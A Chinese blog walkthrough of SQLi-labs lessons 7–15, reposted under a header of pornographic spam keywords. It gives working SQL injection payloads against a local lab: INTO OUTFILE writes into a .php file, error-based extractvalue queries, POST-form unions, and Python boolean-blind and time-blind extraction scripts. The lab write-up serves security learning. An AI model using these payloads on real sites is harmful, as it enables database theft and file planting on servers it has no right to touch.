日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQLI_LAB——Less7~15

發(fā)布時(shí)間:2024/9/21 数据库 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQLI_LAB——Less7~15 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

  LESS-7

  上題。

http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1' --+

  

?

  單引號(hào)發(fā)現(xiàn)報(bào)錯(cuò),但不是外顯,所以無法直接進(jìn)行剝離構(gòu)造。沒有外顯的話比較麻煩,通過嘗試得到:

http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) --+

  

  回顯正常。這題需要用到outfile,導(dǎo)出型注入。但是使用outfile需要一定的file權(quán)限,下面是使用條件:

1 必須有權(quán)限讀取并且文件必須完全可讀 2 目的文件必須在服務(wù)器上 3 必須指定文件完整的路徑 4 欲讀取文件必須小于 max_allowed_packet

?

  接下來判斷我們是否有file權(quán)限,構(gòu)造語句:

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) and (select count(*) from mysql.user)>0 --+
//select count(*) from mysql.user 意思是返回mysql庫中所有用戶名數(shù)量

  

  若回顯正常,說明具有file權(quán)限,回顯不正常,則說明不具有file權(quán)限。這里回顯正常,說明具有權(quán)限。

  那么我們可以開始進(jìn)行注入,構(gòu)造語句:

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) union select 1,user(),database() into outfile "/xampp-php5/htdocs/SQLI-LABS/sqli-labs-master/Less-7/1.php" --+

  OR

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) union select 1,user(),database() into outfile "\\xampp-php5\\htdocs\\SQLI-LABS\\sqli-labs-master\\Less-7\\1.php" --+

  

  在文件路徑中,若使用’ \ ‘,則需要用另外一個(gè)轉(zhuǎn)義字符將其轉(zhuǎn)義即一個(gè)’ / ‘等于’ \\ ‘。

  

  注入成功,可以發(fā)現(xiàn)生成了一個(gè)1.php。

  同樣地:

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) union select 1,(select group_concat(username,'_',password) from users),database() into outfile "\\xampp-php5\\htdocs\\SQLI-LABS\\sqli-labs-master\\Less-7\\2.php" --+

  

  然后我們以此方法得到flag。

?  

?

  LESS-8

  單引號(hào)嘗試發(fā)現(xiàn)沒有回顯,只有正確的回顯,沒有錯(cuò)誤的回顯,所以此題無法進(jìn)行報(bào)錯(cuò)注入。但是憑借you are in....這題我們使用布爾盲注。

  先爆出數(shù)據(jù)庫名,腳本如下:

?

1 # 爆數(shù)據(jù)庫名 2 3 def get_database(): 4 database="database: " 5 for i in range(1,9): 6 for key in dictionary: 7 url = main_url + " and ascii(substr(database(),"+str(i) + ",1))="+str(ord(key)) + " --+" 8 html = requests.get(url) 9 if (html.content.find("You are in") != -1): 10 database = database + key 11 print database

?

  

  然后再爆數(shù)據(jù)庫。

1 #爆數(shù)據(jù)庫 2 def get_tables(): 3 tables = "tables: " 4 sql = "select group_concat(table_name) from information_schema.tables where table_schema = database()" 5 for i in range(1,20): 6 for key in dictionary: 7 url = main_url + " and ord(substr(( " + sql + ")," + str(i) + ", 1))= " + str(ord(key)) + " --+" 8 html = requests.get(url) 9 if (html.content.find("You are in") != -1): 10 tables = tables + key 11 print tables

  最后利用相同的方法爆出相應(yīng)的字段,然后就可以隨便玩了。

  這題和LESS-5做法區(qū)別在于,LESS-5存在報(bào)錯(cuò)提示,而LESS-8沒有報(bào)錯(cuò)提示,但是這并不影響布爾盲注本身的做法。

?

  

?

  

?

  觀察后臺(tái)代碼也印證了這一點(diǎn)。

?

?

  Less-9

  單引號(hào)嘗試,發(fā)現(xiàn)只要id有值,怎樣構(gòu)造都只有You are in....回顯,這一題無法使用布爾盲注和報(bào)錯(cuò)盲注。所以這一題我們使用時(shí)間盲注。

  構(gòu)造payload如下:

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-9/?id=1' and If(ascii(substr(database(),1,1))=ascii('s'),sleep(3),1) --+ //爆數(shù)據(jù)庫名

  回顯延時(shí),說明 數(shù)據(jù)庫第一位為‘s’。

  這里需要用到IF語句,語句結(jié)構(gòu)是這樣的:IF(condition,true,false)。若條件為真,則執(zhí)行true里面的語句,若條件為假,則執(zhí)行false里面的語句。

?

  然后爆數(shù)據(jù)庫。

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-9/?id=1' and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=ascii('e'),sleep(3),1) --+

  

  接下來爆表什么的前面也有講到。所以這里就不放上來了。

  丟上腳本:

1 # 爆數(shù)據(jù)庫名 2 def get_database(): 3 print "Start to retrieve the database_name: " 4 database = "database: " 5 for i in range(1,9): 6 for key in dictionary: 7 url = main_url + " and if(ord(substr(database()," + str(i) + ",1)) = " + str(ord(key)) + " , sleep(5), 1) --+" 8 start_time=time.time() 9 html=requests.get(url) 10 if (time.time() - start_time > 4 ): 11 database=database + key 12 print database

?

?

1 # 爆數(shù)據(jù)庫 2 def get_tables(): 3 print "Start to retrieve the tables: " 4 tables = "tables: " 5 for j in range(1,20): 6 for key in dictionary: 7 url = main_url + " and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+ str(j) +" ,1)) = " + str(ord(key)) + ", sleep(5), 1) --+" 8 start_time=time.time() 9 html=requests.get(url) 10 if (time.time() - start_time > 3): 11 tables = tables + key 12 print tables

  

?

  Less-10

  這題做法和Less-9一樣,將單引號(hào)換為雙引號(hào)即可。但是問題來了,該怎么判斷是單引號(hào)閉合還是雙引號(hào)閉合?希望指點(diǎn)。

?

?

  Less-11

  上題。

?

?  由于是post形式,所以無法直接在payload上進(jìn)行變量的傳值。用單引號(hào)嘗試,發(fā)現(xiàn)是單引號(hào)閉合,于是可以在username進(jìn)行構(gòu)造,如下:

?

1 ' union select 1, database() #

?

  爆出數(shù)據(jù)庫名。

?

1 ' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

  同理,爆數(shù)據(jù)庫。

  然后相同的方法爆出字段,可以隨便逛了。

?

?

  LESS-12

  方法和上一題一樣,將單引號(hào)換為”)即可。

?

?

  Less-13

  單引號(hào)嘗試,報(bào)錯(cuò)發(fā)現(xiàn)為‘)閉合,利用布爾盲注,構(gòu)造如下:

?

1 admin') and substr(database(),1,1)>'a' #

?

  暫時(shí)沒想好腳本怎么寫。這里的話利用二分法爆數(shù)據(jù)庫名。

  其他數(shù)據(jù)一樣。

?

?

 Less-14

  將上題改為 ” 雙引號(hào)即可,利用布爾盲注之后,發(fā)現(xiàn)這題也可以利用報(bào)錯(cuò)注入,payload如下:

1 admin" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #

?

?

  Less-15

  單引號(hào)嘗試,發(fā)現(xiàn)為單引號(hào)閉合,于是直接布爾盲注,注入成功。接下來再嘗試報(bào)錯(cuò)注入,發(fā)現(xiàn)題目沒有語法報(bào)錯(cuò),所以報(bào)錯(cuò)注入在此題行不通。

?

轉(zhuǎn)載于:https://www.cnblogs.com/Buki11/p/10922046.html

總結(jié)

以上是生活随笔為你收集整理的SQLI_LAB——Less7~15的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。